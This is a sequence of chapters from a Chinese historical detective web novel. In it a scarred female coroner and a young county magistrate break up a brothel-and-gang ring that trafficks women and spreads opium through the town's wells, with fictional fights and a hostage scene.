月夕接过一看,竟是秦娥楼里大部分姑娘的籍契。 青楼女子的买卖一般都是先让姑娘们签下卖身契,再去衙门备案,留下契籍,契籍一式两份,衙门一份,青楼一份。 自此,姑娘虽入贱籍,却有名有姓。 而有些没有在衙门备案的姑娘亦或是来路不明的姑娘,青楼会给她们签下一份籍契,同样是一式两份,青楼一份,姑娘们一份。 未在衙门备案的姑娘,即便有贱籍,却无名无姓。 籍契与契籍,虽是相同的字样,所代表的身份却是一个天一个地。 月夕粗略翻了翻,大约有二十几张,“这些都是?” “小部分吧。”亓官彧道,“有些姑娘很是会藏东西,一时半会儿还寻不着。” 月夕抬眸,若有所思地看着他。 亓官彧被她的眼神看得心里发毛,“你这般看我作甚?——你莫不是以为我经常做这事儿?不可能!” 他越说越慌,“我发誓!我从未做过这种事!今日之事也不过是情急之下罢了,那戚三娘既然卷款潜逃,一些明面上对她不利的东西她自然会带走,可暗地里的东西,即便她有心想带走,一时半会儿却也带不走,是以我才想着能否钻一钻空子。” 月夕眨了眨眼,随后又将注意力收回到手里的籍契上。 见她不搭理,亓官彧慌了,他索性近前来,认真问道,“那你说,到底要怎样才肯信我?” 月夕认真地翻看了几张籍契之后,眉心微微拧了拧,“郎君可曾翻过栖月楼姑娘的藏宝箱?” 亓官 32. 戚三娘 《解语(探案)》全本免费阅读 王珏眼底闪过一丝淡淡的忧伤,但很快,他正色道,“本县倒也没有如此倒转乾坤的能力。不过,身为一方父母官,理应护佑本县子民。” 听完前半句,林修明显有些小失望,可等他听完全部,眼里忽然有了光,“多谢县尊!” 他顿了顿,道,“县尊,接下来我们该如何做?” 王珏问:“你收到的是什么任务?” 林修脸颊一红,道,“严……橧只说让县尊死在这里,伪装成被凶徒所杀。” 王珏抿唇一笑,“他倒是并没有考虑你们的后路啊。” 林修脑子猛地一震,严橧确实没说他们该如何出去,看来那姓严的一开始就没想让他们活着出去! 如此说来,他的妻女…… 林修气得紧咬牙关,又要朝王珏跪下,好在王珏眼疾手快,将他拦住。 “如今之计,先出去再说。” 林修为难道,“不瞒县尊,这暗道若是从外头关上,便再也出不去了。” 王珏冷笑一声,“那倒未必。” 在场众人脸上明显慌张的神色忽而一滞,皆带着希冀地看着王珏。 “县尊知道怎么出去?” 却听哗啦一声,王珏打开手里的扇子,轻轻将空气中的异味驱散,随即往出口走去。 众人见状,纷纷拿着火把跟了上去。 暗道的门也不知是用什么封的,边缘缝隙都封得死死的,竟是连一丝水汽都没泄露进来。 王珏走近前去,看了好一会儿,又上上下下打量了一会儿,正当众人以为他也没法子时,他转过身走到内室,从墙上拿下一把锤子。 林修要去接,王珏却道,“将墙上的榔头、狼牙棒、锯子、砍刀都拿下来。” 林修得令,领着几个捕快将那些泛着陈旧血腥味的东西拿了下来。 “县尊……” “门左右一步、三步各站一人,沿地面高出七尺处进行敲打,直到敲到墙面有所动静便停下。” 林修领命,带着几个捕快在规定的地方站定,开始抡着手里的东西哐哐哐地朝坚硬的墙面敲打。 而王珏则是拿着锤子,在这座厚实的石门上进行敲敲打打,一时之间,暗室里一阵哐哐作响。 也不知敲打了多久,一个小捕快突然道,“县尊!有动静!” 众人纷纷停下手里动作,暗室倏地安静了下来。也正因此,那小捕快面前的动静愈发明显了些。 小捕快激动道,“县尊!有人在外头敲墙!” 王珏微微颔首,“继续。” 众人得了命,手里的动作更加卖力了几分,而王珏则是拿着锤子站在那扇门前。 也不知过了多久,他猛地抬手朝那道石门的某处狠狠一砸。 月夕正打算离开戚三娘的屋子,谁想迎面撞上了一个人,看她的穿着打扮,该是楼里的姑娘。 “你是何人?”那姑娘问。 亓官彧也不知去了哪里,月夕顿了顿,随即低下头冲她行礼,粗着声音道:“小的过来找三娘汇报事宜,谁想三娘不在,小的这就离开。” 说完她便要离开,谁想刚走出半步,耳边便传来一阵嗤笑,“哦?你是哪个院子里的小娘子?寻我有何贵干?” 月夕心尖猛地一颤,没想到这戚三娘竟还会回来,她顿觉不妙,正要离开,没成想前路却被戚三娘给封死了。 戚三娘一把扯掉了月夕的面巾,嫌恶地啧啧了几声,“也不看看秦娥楼是什么地方,是你这种粗鄙之人该来的?来人!” 话音刚落,楼里不知何时多了好些个蒙面的黑衣人,月夕蹙了蹙眉,这些个黑衣人的形制与行为她有些熟悉,像是在城外截杀王珏的那批人。 戚三娘冷笑一声,近前又看了看月夕身上的衣裳,转而朝院中的那个地窖望了一眼,脸上的笑容忽然凝固住,“我就说那几个废物怎地还不上来,原来是被你这个丑物给截了,可真是好大的胆子啊!” 说着,她后退几步,朝空中指了指,悠闲地仿佛在谈论今日的天气,“杀了她,做干净些!” 身后的黑衣人几乎一拥而上,月夕连连后退几步,与此同时,手里也多了几枚银针。 下一刻,已至面前的黑衣人早已向她展开杀招,月夕节节败退,直到退无可退之时,她瞅准时机,将手里的银针掷出。 却听一阵闷响,面前几个黑衣人竟是毫无准备地倒了下去。 然而这几个黑衣人倒下,还有另外的黑衣人补上,月夕手里的银针早已不够,不过几息的功夫,她便被黑衣人围住了。 戚三娘站在不远处,仿佛在看一场十分精彩的戏,呵呵几声笑了起来,“哟,没想到你这丑蠢之物还有些本事,只不过也就如此了。莫要以为我不知道你是谁,听闻那京城来的小县令招了个丑物做仵作。还以为是什么样的丑物,原来是五年前被顾宗那老不死救回来的小东西。” 她顿了顿,“呵,难为他竟是没把你送去栖月楼,而是将你放在身边养着。啧啧,也不知他那老相好会不会因此吃醋呢……” 月夕猛地一顿,错愕地看了过去,“你方才说什么?” 与此同时,黑衣人瞅准时机,手中的剑直接往她的面门砍来。 却听哐当一声,那把快要砍到月夕脖子的剑直挺挺地掉落在了她面前,那黑衣人也应声倒了下来。 下一刻,月夕顿觉腰间一紧,整个人同时远离地面,随着那股力道飞了出去,最终落在了院子里的一座亭子的飞檐上。 月夕知道,是亓官彧回来了。 满是新鲜的血腥味扑鼻而来,月夕蹙了蹙眉,“你受伤了?” 亓官彧却扯了扯嘴角,调|笑了一声,“小月娘这是在关心我吗?” 月夕十分平静地看了他一眼,又往院子里看了一眼,道,“你若是受伤了,今日你我怕是出不去了。” 亓官彧唇角的笑意又是微微一僵,他就是知道…… 正此时,楼上的戚三娘笑了几声,“哟,这还给老娘演上英雄救美了?给我 33. 十面埋伏 《解语(探案)》全本免费阅读 情急之下,月夕感觉自己似是踩到了什么,整个人重心不稳,狠狠摔在了地上,与此同时,她的手似是碰到了一块十分坚硬的东西。 也不管是什么东西,她捡起来便往面前黑衣人的面门上砸了过去。 却听铮铮两声响,那黑衣人胸前也不知怎地,被一支箭和一把剑给穿透了,她砸过去的东西正好给了那黑衣人往后的力道,却听砰得一声,黑衣人便直挺挺地倒在了地上,再也无法动弹。 与此同时,院子里所有黑衣人的胸前都多了好几支箭羽,那些箭羽无一不穿透了那些人的胸膛,也不过眨眼功夫,黑衣人便已经倒下了一片。 一墙之隔的内院中,花魁赛也接近了尾声,最后一个上场的花魁弹的是琵琶曲《十面埋伏》,一曲毕,众人连连叫好。 而此时,秦娥楼主院里也是一片狼藉,躺在地上的黑衣人们仿佛是一截一截没有气息的木头,横七竖八的,乍一眼看去,好不热闹。 有一群身着劲装的男子此刻从院子外头冲了进来,将院中所有人团团围住。 看他们的装扮,显然是刻意隐藏身份,但从他们人人手中揣着的长刀来看,他们并非普通武夫。 一个身着灰色劲装的男子从人群中钻了出来,他跑到月夕面前,满是诧异道,“顾娘子?你怎么在此处?” 趁着月色,月夕抬头一瞧,竟是前些日子在养伤的竹心。 “竹心护卫。”月夕正要起身,谁想脚踝处传来一阵针锥似的疼痛,她再一次坐到了地上。 竹心慌忙将剑鞘递过去给她当扶手,道,“郎君可知你在此处?” 月夕摇头,“我是从井底的暗道游过来的,此处院中有个地窖,地窖暗室里有一个石门,石门后有好些被拐来的良家娘子,还请竹心护卫救上一救。” 竹心点头,朝身后一人看了一眼,那人会意,径自带了几人便钻进了那个地窖。 一墙之隔的内院里此时也闹出了些许的动静,有人在高声喧哗,甚至还有人在打砸东西以表示被困的不满。 “多谢。”月夕看了一眼,朝竹心点了点头。 竹心会意,便领了几个人朝内院走去。 月夕扶着竹心的剑鞘缓缓起身,朝二楼那处看去,此时的亓官彧正一手扶着凭栏,看上去很不乐观。 她走近前去,仰头看向他,“亓官郎君,你可还好?” 亓官彧嗤笑一声,“算你还有些良心,知道来关心一下我。” 说完,他从二楼一跃而下,还未站稳便往月夕身上一靠,“我很不好!” 月夕只当他是开玩笑,可他靠过来的时候却很有分寸,并不曾用太大的劲儿,也将将稳住了两人的身形,于是她蹙了蹙眉。 “你身上的血……” “大多是那个‘戚三娘’的。” 亓官彧眼底闪过一丝凶光,虽速度极快,却依旧被惯于勘查细节的月夕看见了。 “小月娘,你这回可是又得欠我一个人情了。”他靠在她身上,唇边却带了一丝邪邪的笑。 月夕却神色凝重,渐渐陷入了沉思。 作为仵作,她自然知晓亓官彧身上的那些血迹是不对劲的,新鲜血迹的流动不是这样的,而且那颜色…… 正思考着,月夕顿觉身上一轻,转过身一瞧,突然对上了一双墨黑到深不见底的眼睛。 在月光的映照之下,月夕竟是从那双眼睛里看到了自己的影子。 正诧异着,那双眸子的主人发话了,“为何在此处?” 虽然与他的护卫问的同样的话,月夕却觉着他说的每个字底下都带着一丝隐约的怒气。 这陌生的怒气叫她一时不知该怎么回答。 “哟,王县令来得可真早,不如等天亮了吃过朝饭再过来呀!”被撞倒在地的亓官彧站起身,正欲拉过月夕的手臂,却被王珏拦住了。 王珏冷哼一声,“是么?本县还以为亓官郎君能让那些人收手呢,看来是本县高估了。” 说着,他脱下自己的外袍,轻轻披在了月夕的身上,语气比方才柔和了许多,“等回了县衙,你再向本县交代——飞燕!” 一个黑色的影子闪身而至,轻飘飘地站在了月夕身后。 “送她回府疗伤。” 飞燕点头,正要扶上月夕,却听月夕道,“慢着!” 就在方才,她好像想通了一些事,是以一时没顾及披在身上的衣裳,伸手便攀上了王珏那肌肉分明的小臂,“县尊,我知道那些人为何要偷走楚帮主的尸首了!我也知道他们为何要拐卖这些小娘子!他们是为了——” “好。我知道了。”王珏轻轻按了按她的手背并止住了她的话头,语气愈发温柔了几分,“你先回府衙疗伤,这些事等明日再说。” “不能等了。”月夕摇头,“对方已经察觉,倘若要逃,最佳行动的时间定是今晚。” 她抓着王珏的手臂不放,“县尊,可否带上我一道?” 看着她这般模样,王珏眼底温柔尽显,好半晌,他才道,“罢了,你好好跟着飞燕,莫要乱走。” 月夕一阵欣喜:“多谢县尊。” “谢他作甚?”亓官彧将月夕的手扯了回来,充满杀气的绿眸在王珏身上瞪了瞪,“小月娘要去哪里,我照样能送。” 王珏不依不饶,照样正视过去,“本县带着自家仵作名正言顺,敢问亓官郎君这是要在我下唐实施拐带之罪行?” 霎时间,两人剑拔弩张了起来,月夕有些看不明白,只觉危险,便搭着飞燕的手,往二楼走去——戚三娘正倒在那里。 彼时的戚三娘尸首分离,如一条死鱼一般倒在地上,死不瞑目,地上滩了一大片的血迹。 那血迹并不新鲜,也不纯净,月夕眯了眯眼。 在飞燕的搀扶下,她缓缓走近前,撩开戚三娘的衣袖看了一眼。 果不其然! 原先月夕还不懂“药人”“药引”是什么意思,如今她算是彻底知道是怎么回事了。 秦娥楼里的人大多被竹心带来的人所控制,而地窖里的小娘子们也被救了上来,月夕看了看夜色,神色一凝,朝楼下的王珏喊道,“县尊,我们该走了。” 王珏微眯了眯眼,随即转身朝人群道,“林捕头,你带人在此处守着, 34. 狡兔三窟 《解语(探案)》全本免费阅读 马车在一条暗巷子里停了下来,不远处正是月夕经常走的栖月楼后门。 彼时栖月楼后门处亦是停了一辆马车,马车很素,素到即便是在夜里也很不打眼。 正此时,后门吱呀一声被人从里头打开了,一个小龟公从门里探出头,四处张望了一会儿,直到确认没什么人,才又缩了回去。 好半晌,那扇窄小的后门又被人轻轻打开,从里头走出一个带着面巾身形婀娜的娘子。 那娘子穿得十分素净,身后还跟着一个背着包袱的小丫鬟,一看就是一副跑路的样子。 暗巷里有人开始蠢蠢欲动,王珏却是微微眯了眯眼,静观其变。 眼见着那辆马车消失在巷子尽头,暗巷中那蠢蠢欲动之人终于开口了。 “王郎君,怎么不追?” 王珏却道,“再等一等。” 马车里却传来一阵嗤笑声,亓官彧斜斜地躺在那里,一双绿眼睛眨巴眨巴着,像是在看一个笑话一般看着王珏,“再等,人都跑了。” 说着,他看向月夕,“小月娘,你若是想让我去追,我便去帮你追。” “看来亓官郎君的伤是好全了。”王珏斜睨了他一眼,“既如此,还请莫要赖在本县的马车里。” 亓官彧呿了一声,依旧一动不动,用手支着脑袋,默默地看着月夕。 月夕却是全神贯注地透过车窗看着那扇后门的动静,也不知过了多久,那扇门再次有了动静。 这一回从门里走出一个龟公,那龟公亦是鬼鬼祟祟的,手里还拿着一个包袱,确认周边无人之后,便往另外一个方向跑开了。 暗巷里那人又道,“不动手吗?” 王珏看了看天色,点了点头,“走吧,去瞧瞧。” “县尊!”月夕忽然道,“需知狡兔三窟!” 王珏转过身来,看着她,嗯了一声,随即下了车,往栖月楼那后门走去。 马车里,原本毫无神情的飞燕忽得惊了惊,如此温柔的神情,她从未在自家主子的脸上见到过。 她方才是不是见鬼了? 飞燕看了看王珏离去的背影,又看了看身边的月夕,这个顶着半脸狰狞疤痕的女子正端坐着出神,那双眸子里除了清澈,她看不出任何其他的东西。 她的心也不由得软了软。 是啊,如此一个坚韧又干净的小娘子,任谁也对其生不起歹心。 正想着,月夕忽而回过神,转身就抓住飞燕的手,道,“方才那丫鬟!” 飞燕不爱说话,可看月夕这副样子,她不由地问了一句,“有问题?” 月夕蹙着眉点头,“总觉着那娘子不大像个丫鬟。” 月夕欲言又止,飞燕不蠢,也猜出她想要让自己做什么,只是她不能违抗主子的命令。 “让你追去瞧瞧便追去瞧瞧,怎么同你主子似的,如此惹人厌烦?”躺在马车里闭目养神的亓官彧忽而开了口。 飞燕神色一凝,眼底迸发出一丝杀气,若非主子吩咐过,她大抵早就将这绿眼男子给杀了! “怎地?你是觉着凭着本郎君的本事,还无法护住小月娘?”亓官彧微微挑眉,略微挑衅地看着她。 这个亓官彧的本事飞燕是见过的,只是她一直没弄清楚他的武功路数,是以也不知眼下身受重伤的他是否还能护住顾娘子。 亓官彧被飞燕那怀疑的眼神惹怒了,冷哼一声,“还真是什么样的主子养了什么样的手下,一个个畏首畏尾窝囊得紧。” 飞燕到底还是被他的三言两语惹怒了,她想了想,终道,“我去向主子禀告一声。” 倏地,眨眼功夫,飞燕便不见了。 月夕顿了顿,又看向亓官彧,“亓官郎君的伤可好些了?” 亓官彧一阵感动,瞬即软绵绵道,“算你还有几分良心,还晓得关心你的救命恩人……” “若亓官郎君还能动弹,能否替我去捎个信?” 亓官彧面上的感动猛地一顿,嘴角也跟着抽了抽,他就知道…… “若是本郎君不愿去呢?” 月夕哦了一声,忽得起身道,“无妨,我自己去便是了,亓官郎君在车里好生休息吧。” “慢着!”眼见着她当真要下马车,亓官彧忽得起身拦住她,“信捎去哪儿?” 月夕转过身,认真地看向她,“郎君的身子可还行?” “本郎君康健得很!”亓官彧连忙否认道,“快说,让我去哪儿?” 月夕这才道:“劳烦亓官郎君同苏郎君说一声,让他带些东西去如意赌坊。” 亓官彧挑眉,“就这?” 月夕点头,“是。” 亓官彧看了看她那瘦小的身形,因着脚踝受了伤弓着身子,显得更加地楚楚可怜,他长长叹了口气,“罢了,我就勉为其难地亲自去一趟吧。” 下一刻,他撩开车帘单足点地,一个闪身便消失不见。 月夕透过车窗抬头望了望苍穹,那轮明月依旧悬在高空,散发着明亮的光。 她想了想,起身坐到车辕上,捏起缰绳,轻扬马鞭,冲着马屁股上轻轻一打。 马车穿过好几个巷子,最终在一个充满酒香的院子前停下。 月夕跳下马车,缓了缓脚踝处传来的疼痛,近前敲响了那院落的门。 才敲了几下,院子里便传来了一个十分苍老的声音,“谁啊?” 月夕道,“杨阿爷,是我,月夕。” 一阵慌乱的脚步声后,院门被人打开一个小口子,从里头露出一张苍老却又满是惊诧的脸,“月儿?” 经历过一场搏斗,即便此时已经收拾妥当,月夕依旧看上去很是狼狈,尤其是她红着眼眶走近前去,更是叫人看着可怜兮兮的。 更别说拿她当女儿疼的老杨了。 老杨紧蹙了蹙眉,语气愈发柔和了几分,“这么晚了怎么还不睡?” 月夕朝院子里望了望,“杨阿爷,我能进去吗?” 只一瞬,老杨的眼底闪过一丝慌张之色,但很快便消失了,他关心道,“可是发生了什么事?这么晚了,你一个小娘子家怎地还在外头走动?阿爷送你回家去。” 月夕却摇了摇头,道,“杨阿爷,我能进去同阿姆说说话吗?” 听她提及自己的发妻,老杨又是闪过一丝复杂的神色,过了一会儿,他道,“这会儿你阿姆刚吃完药睡下,怕是起不 35. 挟持 《解语(探案)》全本免费阅读 “想必这位娘子应该知晓我的身份。”她道,“我是县衙仵作,没有人会排查县尊的马车,更没有人会排查坐着县衙仵作的马车。” “月儿!你……快回去!赶……赶紧……赶紧回去!”老杨的脸色渐渐失去了血色,可他的眼睛却瞪得很大,那双爬满老茧的手死死抓住女子的手臂,青筋暴起,像是使出了浑身解数来阻止那女子,并劝说月夕离开。 月夕没理会,只这样站在月光里,等着女子的回应,时间一分一秒地过去,老杨渐渐没了力气,死死抓着女子的手也有了松动的痕迹。 女子手里的匕首微微一紧,她似乎有些慌了。 月夕道,“娘子还没想好吗?县尊的人此时正在城中大肆搜捕,或许马上便要搜到这里了。” 终于,女子道,“我凭什么信你?” 月夕耸耸肩,说得很是坦荡,“娘子可以不信。” “好。”女子道,“你过来!” 老杨还在挣扎,女子见状,狠狠在他伤口处按压了一下,霎时间,老杨惨叫了一声。 月夕蹙了蹙眉,近前道:“杨阿爷死了对娘子没什么好处吧?” 女子却冷哼一声,直接腾出一只手将月夕狠狠拉到自己身边,下一刻,那把沾着血迹的匕首抵上了她洁白纤细的喉咙,而倒地不起的老杨则是被踢到了一边。 月夕想要去扶,却被女子往外一拉,“还不快走!” 月夕看了老杨一眼,直到确定他没事,才拎起裙摆一瘸一拐地任由那女子挟持,走上了马车。 马车很是干净宽敞,这显得浑身湿透的女子在车子里有些违和,好在车子里有一件外氅——那是王珏放在马车里备用的,此刻却是被女子披在了身上。 她让月夕坐在车辕上,手里的匕首依旧抵上月夕的脖子,与她保持着不远不近的距离。 “走!”她低声命令道。 月夕闻言,扯动缰绳,架着马车往角落里的暗巷走去。 月色在暗巷里藏了起来,穿过好几条暗巷,月夕突然勒紧缰绳,马车即刻停了下来。 女子手里匕首一紧,霎时间在月夕的脖颈上划出一道血痕,她恶狠狠道,“你要做什么?” 月夕道,“娘子放心,这条暗巷隐秘得很,捕快官差们一时半会儿还不会来这里。” 她似乎并不害怕女子手里的匕首,而是十分气定神闲地别过脸来,清澈的眼神直直对上了那女子的眸子。 血口子越来越大了。 她朝女子微微一笑,道,“其实我有一个问题想要向娘子请教。娘子请放心,问完这个问题,我一定送娘子离开。” “你就不怕我杀了你?” “怕。”月夕道,“可娘子不能。因为眼下只有我才能送你去见兴海城城主。” 果然,女子瞳孔微微一震,连带着手里的匕首也松了松。 好一会儿,她才道,“你想问什么?” 月夕正色道:“娘子为何要杀于妈妈?若于妈妈不死,栖月楼的阿芙蓉就不会被发现,也不会有接下来这么多的事。” 女子冷哼一声,“无用之人留着作甚?” “据我所知,于妈妈并非无用,至少在明面上还能为娘子挡一挡。”月夕道,“除非于妈妈已经背叛了娘子。” 女子深吸一口气,眼底闪过一丝错愕与震惊,过了一会儿,她才道,“你既然已经猜到了,何必问我?” 月夕自顾自继续道,“黎阳县这么多年来,除了府衙,明面上有两股势力,其一是背后有兴海城撑腰的莫府,其二是青龙帮,但这些日子我却发现,其实黎阳县里还有第三股势力。” 她看向女子,“莫府负责制药,青龙帮负责运输,而娘子却负责提供人。是也不是?” 女子又是一阵惊诧,匕首又往月夕的脖颈逼了逼,“你还知道些什么?” 月夕了然,“看来是我猜对了。那么栖月楼里失踪的那几个小龟公该是于妈妈所为了,她想取代你的位置,可惜却被你捷了足,不过……” 月夕淡淡道:“娘子之所以将阿芙蓉故意暴露出来,怕是因为你也快要成为弃子了吧?之所以成为弃子,怕是因为娘子你又失败了吧?” 脖颈处的匕首又紧了紧,沿着匕首流下的血将月夕的衣襟都染红了,然而她似乎并不觉得严重,反而更泰然了。 “你就当真不怕我杀了你?”女子恶狠狠地道,“没有你,我照样能出去!” 月夕道,“娘子可以试试,咱们这位县尊可不比其他的草包子,他姓王,身后是琅琊王氏,他不怕得罪任何人。而且,他也不蠢笨。” 月夕有恃无恐,“娘子大约还不知道吧,黎阳县的所有水井都被下了药,所以井下的暗道,娘子也用不了了。” 女子暗自咬牙,她知道月夕说的对,若是她此刻将月夕杀了,自己独自一人架着县令的车离开,必定会令人起疑,但若是弃车奔走,黎阳县就这么大,又无法入井,到头来她真的会无处可去。 月夕唇角微微一勾,继续道:“于妈妈与楚锋帮主一样,都想将所有利益都攥在自己手里,是以他二人合力,杀了楚邦帮主,自那之后,楚锋帮主便开始大开赌场,明面上那是个赌场,暗地里做的却是与栖月楼一样的勾当。所以,瑜娘的死,是你们给楚锋帮主的一个警告。” 月夕神色微微一暗,“至于两人合谋的背后之人,我想应该是一直躲在暗处的严主簿。从前黎阳县没有县令,山中无老虎,严主簿这只猴子一直称着大王,可如今县尊来了,严主簿手里没了权,自是慌张,是以,他才起了撺掇两人的勾当。” “至于他们为何会做得如此明目张胆,大约是因为他们认为县尊在黎阳县活不了多久。只是万万没想到,县尊的命硬得很,总也死不了。” 她看向女子,“我想严主簿大概也已经死了吧?” 女子冷哼一声,算是默认了。 “既然你都知道了,为何还要问我?” 月夕抿了抿唇瓣,原本清澈的眼神也开始变得复杂了起来,“娘子已知我是衙门仵作,该知我姓甚名谁。我姓顾,叫月夕,我阿爷叫顾宗。” 女子眯了眯眼,眼底亦是流露出一丝难以察觉的情绪。 36. 姊妹 《解语(探案)》全本免费阅读 漫长的黑夜终究还是过去了,翌日一大早,衙门口便挤满了人,每个人都弓着身子面色蜡黄,纷纷来报案,说是自家水井里被人投了毒,要县尊做主。 县尊得知后大怒,破天荒地大开府衙之门,给每个上门报案的百姓都立了案。 铺头林修更是风风火火,不过半日,便查出投毒源头——如意赌坊。 是以才不过三日,如意赌坊便以故意投毒一案被封,青龙帮帮众极力反抗,伤了好些衙门捕快,颇有造反之势,县尊无奈之下,分别向十里之外的平阳城以及兴海城求助。 平阳城乃当今长公主的封地,长公主与王家颇有渊源,当即便派出了五百府兵协助,不过七日,青龙帮被剿灭。 与此同时,府兵在抄查时,发现地底下存有大量密室,密室里关着好些人,有男有女,以及大量成品禁|药阿芙蓉。 此事事关重大,王珏顺藤摸瓜查出了莫府,然则莫家人早已人去楼空,衙门也只好先将其财产抄没,并将那些还活着的人送回了家。 至此,由彩蝶一案引发的一系列案件就此告破。 月夕因失血过多在七角巷养了几日的伤,今日终于可以下地,她洗漱了一番,进了堂屋,给顾宗上了一炷香,随即理了理衣裳,又给自己戴了条面巾,转身出了门。 许是黎阳县许久没有放晴,月夕瞧着这突然而至的艳阳天竟是有些许的陌生,但很快她便适应了。 阳光一出现,那些躲在暗处难以启齿的晦暗竟是无所遁形,烟消云散。 这几日黎阳县很是热闹,先是如意赌坊没了,县里不再有人因痴迷赌|博而卖儿卖女,后来青龙帮也没了,莫府举家逃离,县里与码头上的生意也肉眼可见得好做了许多。 更重要的是,衙门里的捕快们竟是比从前更团结了些,月夕才刚进衙门,便瞧见林修带着捕快们出门巡街,他们见着月夕竟也主动冲她打招呼了。 虽然从前他们也会同她打招呼,可月夕觉着这一回的招呼和从前很不一样。 她在门房处停了一会儿,和老王聊了聊过几日顾宗下葬的些许事宜,随后才进了门。 因着这些日子的事,前几日县衙忙得不可开交,恰逢那些事都解决得差不多了,是以今日县衙不开堂,前堂很是安静。 月夕进门后,便径自穿过了前堂入了后衙。 旁的官的后衙都是花团锦簇亭台楼阁景致不断,再不济也是被清理地十分干净,偶尔还会在庭院里种些树什么的。 可王珏的后衙却是不同,除了一条能正常走的道儿,其他地方几乎是杂草丛生,在后衙出没的下人也不过是竹心和飞燕,除了偶尔上门来做客的苏家人,后衙几乎是清净得连个人影都见不到的。 月夕老远便在廊下看到了王珏,今日的王珏一身月白色衣袍,长长的黑发被他用一枚白玉簪子简单做了个发髻,没被梳进去的头发他也没管,任由它们随风散着。 廊下设有两只桌案,其中一只桌案上放着煮茶的茶具,而另一只则是空空如也。 王珏正在那只有茶具的桌案前坐着,微低着头,手里煮茶的动作一刻都没停歇。 月夕走近前去,福了福身,“县尊。” 王珏抬头,冲她微微一笑,“来了?坐。” 不知为何,就在方才,有那么一瞬,她竟觉得有些晃神。 王珏本就是一个如玉般的贵公子,今日又穿着一身月白色,更显得他如玉一般白洁无暇,方才他那么一笑,就像是一朵沉睡在水中许久的白莲,忽然对她开了花。 他确实是个极俊美的郎君,月夕心里想。 她微微颔首,在旁边的桌案旁坐下,下一刻,一只玉盏被一只纤长洁白的玉手放在她面前的案上,那只手虽然看上去很白净,却是骨节分明,有几个指节处还有一层非常厚实的老茧。 “乌龙翠玉。”王珏道。 月夕凝了凝眉,也没管这到底什么颜色的玉,捏起杯盏便一饮而尽。 正好她也有些渴了。 似乎早就预料到她会这样,王珏宠溺一笑,继续给她倒了一杯,“这茶初初喝起来会有一丝涩感,但入喉之后却会有一层回甘。” 月夕听着他的话,再次喝了一口,这一回她倒是放慢了速度,果不其然,口感竟是与他说的一般无二。 于是她终于评了一句:“好茶。” 王珏给她倒了茶后,才坐回去,“伤可好了?” 月夕嗯了一声。 王珏再道,“可是来兴师问罪的?” 月夕又嗯了一声,方才是肯定,而这一声却是反问,“县尊何出此言?” 王珏道,“我还以为,你是来询问我为何要将泻药之事弄大。” 月夕却道,“我原本的目的也不过是不想让那些人通过井下暗道逃走,这主意能帮上县尊也是好事。” 说着,她微微低下了头,默默看着面前的那杯茶。 王珏抿唇一笑,起身回了屋,从里头拿了一封信,轻轻放在她桌案上,“之前,我曾收到一封来自京城的回信,这里头写的兴许是你想要的。” 月夕迟疑了一会儿,但还是展开了信件,只一眼,她便看到了两个熟悉的字——丰之。 她的心顿时咯噔了一下,那是顾宗那本书上的落款。 王珏品了一口手里的茶,娓娓道来,“京城有一个平康坊,是整个京城酒楼妓馆最多的一个坊市,二十几年前,有一个名叫繁花馆的妓馆突然被监察司给查封了。监察司从繁花馆地窖中搜查出了很多禁|药与尸体,其中便有阿芙蓉。更重要的是,此事还牵扯上了太医令。” “彼时文帝尚在病中,听闻此事大怒,敕令监察司司主秦成军主理此事,不过一夜之间,太医署所有太医皆被下了大狱。” 他眼底闪过一丝怒意,但很快又平静了下来,“监察司只有监察百官之责,可在秦成军手中,却成了他排除异己的工具,还真是讽刺。” 月夕看完信,饶是她这般铁石心肠的,心中也起了些愤懑,“县尊的意思是,太医署是被冤的?” “没有证据证明太医署与此事有关,只是繁花馆被查封之前,太医署曾联名上书先帝,勿听信谗言,乱吃丹药。”他冷笑一声,“谁想没过多久,整个太医署便被掀了。” 王珏微抬起头,深邃的眸子认真地看向月夕,“初见令尊手臂上的伤口, 37. 见鬼了 《解语(探案)》全本免费阅读 月夕微微颔首,很是坦荡,“县尊请说。” “你是如何猜到青霜,又是如何对彩蝶与我的关系起疑的?” 月夕道,“因为县尊有备而来。” 她眨着那双清澈的眸子,道,“县尊初来,县衙里没几人对县尊服从,可县尊刚来就直接去了城外,说明早知道城外出了事,而且,县尊也知道有人暗杀,是以早早向长公主求助,让那五百府兵伺机候着,自己则是有恃无恐。” 王珏诧异,刚来便去城外确实是他心急,可没到最后一刻他根本没让那五百府兵现身,她怎么会知道? 月夕道,“平阳城来黎阳县的路多为陡峭山路,即便是熟悉道路的走商,都要走半个多月,就算府兵训练有素,七日之内也未必会到。除非他们早就潜藏在城外,伺机而动。” 王珏忽然笑了起来,原以为自己已经做得够谨慎了,竟还是露出了马脚。 “至于青霜,”月夕继续道,“那晚戚三娘说栖月楼里有一个我阿爷的老相好。自我被阿爷所救,阿爷成日里以酒为伴,我从未见过阿爷去过栖月楼,所以我猜测,戚三娘所言阿爷的老相好该是阿爷的旧人。阿爷刚过完六十大寿,旧人应该也不年轻了,且阿爷的言谈举止与土生土长的黎阳县人终究有所不同,既是阿爷旧人,也该有些相似之处。所以,一通排除过后,符合条件的也不多了。” 王珏将她面前的杯盏满上:“那你又从何得知,青霜会设下连环金蝉脱壳之法,前去鸣虫巷的?” “纳兰医生说,几乎所有黎阳县的百姓都服食过阿芙蓉,就连我这个才待了五年之人也有了瘾,奇怪的是,我阿爷并没有瘾,于是顺着这条线,我得知了杨阿爷的药酒。” 她道,“杨阿爷家有一个很大的酒窖,亓官郎君入井时发现了一条暗道,正是通往那个酒窖,他在那空酒窖中发现了一颗阿芙蓉。” 吕阿姆与阿爷一样,都是脏器出了问题,即便是积极配合治疗,每日也都要忍受常人无法承受之痛。 大约是杨阿爷不忍吕阿姆每日忍痛,又无意间得知阿芙蓉能止痛的消息,这才与那些人做了交易。 阿芙蓉是禁|药,运输起来自不方便,可若通过买卖酒水的方式进行运输售卖,官府自查不出,阿芙蓉也可运至更远的地方,甚至京城。 除了药酒,杨阿爷院子里的所有酒都是井水酿的,一来二去,阿芙蓉自然很容易就污染了井水,这也导致黎阳县百姓们常年被迫染上了阿芙蓉。 “既然是金蝉脱壳,自然是先藏起来,等风声过去了才逃。秦娥楼东窗事发事发突然,她草草安排计策之后自是要躲到一个谁也想不到的安全之地。” 月夕道,“放眼整个黎阳县,也只有杨阿爷处最意想不到,也最安全了。” 王珏眯了眯眼,“所以,你才支开飞燕与亓官彧,独自去了鸣虫巷?” 月夕摇了摇头,“我确实认为那个丫鬟可疑,她的行为举止很像戚三娘。本想拜托飞燕娘子将她擒住,好让我细细研究,可惜……” 可惜那丫鬟还没逃出多远,便已经气绝身亡了。 